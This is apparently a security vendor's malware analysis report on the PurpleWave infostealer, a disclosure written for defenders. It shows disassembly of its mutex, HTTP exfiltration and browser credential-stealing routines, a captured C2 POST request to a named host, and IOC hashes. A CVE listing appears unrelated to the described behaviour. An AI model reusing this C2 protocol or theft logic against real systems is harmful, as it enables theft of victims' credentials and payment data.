



PurpleWave Threat Report

**Date: 07/09/2020
Krupa Gajjar,
Sanjuktasree Chatterjee**

Infostealer is a type of malware used by cybercriminals to gain information from the victim machine and in doing so sometimes is capable of installing additional malwares also. It is one of the most profitable malware for the criminals, as the gathered information from the infected machines can be sold or can be used for credential stuffing attacks.

Overview

PurpleWave is a new kind of info stealer used by cybercriminals to steal information from the victim machine. This malware written in C++ language installs itself on the victim machine silently; it connects to a Command and Control server to send system information and is also capable of installing new malware on the infected system like ransomware.

The main function of PurpleWave infostealer is to steal passwords, cookies, credit card information, autofill data, and browser history from Chromium and Mozilla web browsers. Its other functionalities include:

- Read files from specified paths
- Capture Screen
- Stealing system startup information
- Steal crypto currency wallet data
- Installing and executing additional malware
- Exfiltration of Data

This malware was first discovered in late July month and, the sample analyzed here is a new variant of the Infostealer. The PurpleWave Infostealer was collected in Subex HoneyPot on 3rd September 2020.

Technical Analysis

Upon executing the binary it shows no changes to the user, seems like the file is not running and looks corrupted. But the binary does all of its malicious activities in the background. The process created by running this file also gets terminated in a fraction of time.

```
.text:0013E28A      call     ds:CreateMutexW
.text:0013E290      mov     esi, eax
.text:0013E292      lea    ecx, [esp+418h+var_310]
.text:0013E299      mov    [esp+418h+hMutex], esi
.text:0013E29D      call   sub_1367E1
.text:0013E2A2      push   ebx           ; dwMilliseconds
.text:0013E2A3      push   esi           ; hHandle
```

Fig 1

The binary creates mutex so as to make sure that only one instance of the malware is running. The mutex the binary creates is 'MutexCantRepeatThis'.

The binary uses HTTP POST request with its custom header and body to connect to the C&C server to get further information and communication.

```

.text:00149E1B      push    dword ptr [ebp-44Ch] ; lpzObjectName
.text:00149E21      push    offset szVerb ; "POST"
.text:00149E26      push    edi ; hConnect
.text:00149E27      call   ds:HttpOpenRequestW
.text:00149E2D      mov     edi, eax
.text:00149E2F      test   edi, edi
.text:00149E31      jz     loc_149F20
.text:00149E37      lea    eax, [esi+1Ch]
.text:00149E3A      mov     edx, offset aContentTypeMul ; "Content-Type: multipart/form-d

```

```

.text:00149E84      push    eax ; lpOptional
.text:00149E85      push    0 ; dwHeadersLength
.text:00149E87      push    0 ; lpzHeaders
.text:00149E89      push    edi ; hRequest
.text:00149E8A      call   ds:HttpSendRequestW
.text:00149E90      test   eax, eax
.text:00149E92      jnz    short loc_149EFD
.text:00149E94      loc_149E94: ; CODE XREF: sub_149D12+163↑j
.text:00149E94      ; sub_149D12+18E↓j ...

```

Fig 2

The HTTP request uses MIME multipart encoded message multipart/form-data as content-type. According to the format of MIME encoded messages boundary has also been set with 'boundaryaswell'.

```

POST /config HTTP/1.1
Content-Type: multipart/form-data; charset=utf-8; boundary=boundaryaswell
User-Agent: app
Host: bibaiboba.beget.tech
Content-Length: 87
Connection: Keep-Alive
Cache-Control: no-cache

--boundaryaswell
Content-Disposition: form-data; name="id";

1
--boundaryaswell--

```

Fig 3

Communicating Server IP: 5[.]101[.]153[.]32

External Domain: bibaiboba[.]beget[.]tech

Data Stealing Capabilities

The binary steals multiple sensitive data from the victim's infected machine such as Time Zone Information.

```

.text:0018D230      mov     [esp+1Ch+lpTimeZoneInformation], offset TimeZoneInformation ;
.text:0018D237      call   ds:GetTimeZoneInformation
.text:0018D23D      cmp     eax, 0FFFFFFFh
.text:0018D240      jz     loc_18D2FB
.text:0018D246      imul  edx, TimeZoneInformation.Bias, 3Ch
.text:0018D24D      xor     ecx, ecx
.text:0018D24F      inc     ecx
.text:0018D250      push   edi
.text:0018D251      mov     edi, TimeZoneInformation.StandardBias
.text:0018D257      mov     dword_1C5C78, ecx
.text:0018D25D      mov     [ebp+var_4], edx
.text:0018D260      cmp     TimeZoneInformation.StandardDate.wMonth, bx

```

Fig 4

The primary targets of this infostealer are Chrome and Mozilla Web Browsers. It tries to steal cookies, Credit Card information, Autofill data from any of these browsers. The binary steals all these information from \AppData\Local\Google\Chrome\User Data*

```

text:0041916F      mov     edx, offset aBrowser ; "browser["
text:00419174      lea     ecx, [ebp-134h]
text:0041917A      call   sub_407198
text:0041917A ; } // starts at 41916A
text:0041917F ; try {
text:0041917F      mov     byte ptr [ebp-4], 44h ; 'D'
text:00419183      mov     ecx, eax
text:00419185      mov     [esp+4+var_4], offset aCookies ; "[cookies]"
text:0041918C      call   sub_406306
text:00419191      push   eax
text:00419192      lea     ecx, [ebp-104h]
text:00419198      call   sub_406368
text:00419508      mov     edx, offset aBrowser ; "browser["
text:00419508      lea     ecx, [ebp-134h]
text:00419508      call   sub_407198
text:00419508 ; } // starts at 419506
text:00419508 ; try {
text:00419508      mov     byte ptr [ebp-4], 59h ; 'Y'
text:00419508      mov     ecx, eax
text:00419508      mov     [esp+4+var_4], offset aForms ; "[forms]"
text:00419508      call   sub_406306
text:00419508      push   eax
text:00419508      lea     ecx, [ebp-104h]
text:00419508      call   sub_406368
text:00403081      call   ds:GetComputerName
text:00403087      mov     ecx, esi
text:00403089      test    eax, eax
text:0040308B      jz     short loc_403093
text:0040308D      lea     eax, [ebp+buffer]
text:0040308D      push   eax
text:0040308D      jmp    short loc_403098
text:00418462      mov     edx, offset aBrowser ; "browser["
text:00418462 ; try {
text:00418462      mov     [ebp-4], ebx
text:00418462      lea     ecx, [ebp-0ECh]
text:00418462      call   sub_407198
text:00418462 ; } // starts at 418467
text:00418462 ; try {
text:00418462      mov     byte ptr [ebp-4], 1
text:00418462      mov     ecx, eax
text:00418462      mov     [esp+4+var_4], offset aesKey ; "[aes_key]"
text:00418462      call   sub_406306
text:00418462      push   eax
text:00418462      lea     ecx, [ebp-0D4h]
text:00418462      call   sub_406368
text:00418947      mov     edx, offset aBrowser ; "browser["
text:00418947      lea     ecx, [ebp-134h]
text:00418947      call   sub_407198
text:00418947 ; } // starts at 418942
text:00418947 ; try {
text:00418947      mov     byte ptr [ebp-4], 19h
text:00418947      mov     ecx, eax
text:00418947      mov     [esp+4+var_4], offset aCards ; "[cards]"
text:00418947      call   sub_406306
text:00418947      push   eax
text:00418947      lea     ecx, [ebp-104h]
text:00418947      call   sub_406368
text:00434008      call   ds:GetStartupInfo
text:00434008      test    byte ptr [ebp+StartupInfo.dwFlags], 1
text:00434008      jz     short loc_43481D
text:00434008      movzx  eax, [ebp+StartupInfo.wShowWindow]
text:00434008      leave
text:00434008      retn

```

Fig 5

The binary is able to fetch cookies, AES key, Autofill form data, Credit Card Information from the browser. The binary also tries to identify the Computer Name and Startup Information about the victim machine.

File Hash: b5fb35be12c66f16f55af2c2abc77e55

IOCs:

657c3ddaff433067c7f74f3453c7eb37

394298eed78d455416e1e4cf0deb4802

b5fb35be12c66f16f55af2c2abc77e55
7a728f42940f5bcb50ac9a5c57c1d361
e23ded17cdf532790f708e8a550969eb

MITRE Techniques:

T1005 - Data from Local System	T1082 - System Information Discovery
T1016 - System Network Configuration Discovery	T1083 - File and Directory Discovery
T1020 - Automated Exfiltration	T1105 - Ingress Tool Transfer
T1033 - System Owner/User Discovery	T1113 - Screen Capture
T1041 - Exfiltration Over C2 Channel	T1124 - System Time Discovery
T1071 - Application Layer Protocol	T1539 - Steal Web Session Cookie
T1555 - Credentials from Password Stores	

CVE: CVE-2020-1350

Subexsecure Protection

- Subexsecure detects the malware as 'SS_Gen_PurpleWave_PE_A'.

OUR HONEYPOT NETWORK

This report has been prepared from threat intelligence gathered by our honeypot network that is today operational in 62 cities across the world. These cities have at least one of these attributes:

- Are landing centers for submarine cables
- Are internet traffic hotspots
- House multiple IoT projects with a high number of connected endpoints
- House multiple connected critical infrastructure projects
- Have academic and research centers focusing on IoT
- Have the potential to host multiple IoT projects across domains in the future

There are more than 3.5 million attacks registered in a day across this network of individual Honeypot are studied, analyzed, categorized and marked according to a threat rank index, there is a priority assessment framework that we have developed within Subex. The network includes over 4000 physical and virtual devices covering over 400 device architectures and varied connectivity flavors globally. Devices are grouped based on the sectors they belong to for purposes of understanding sectoral attacks. Thus, a layered flow of threat intelligence is made possible.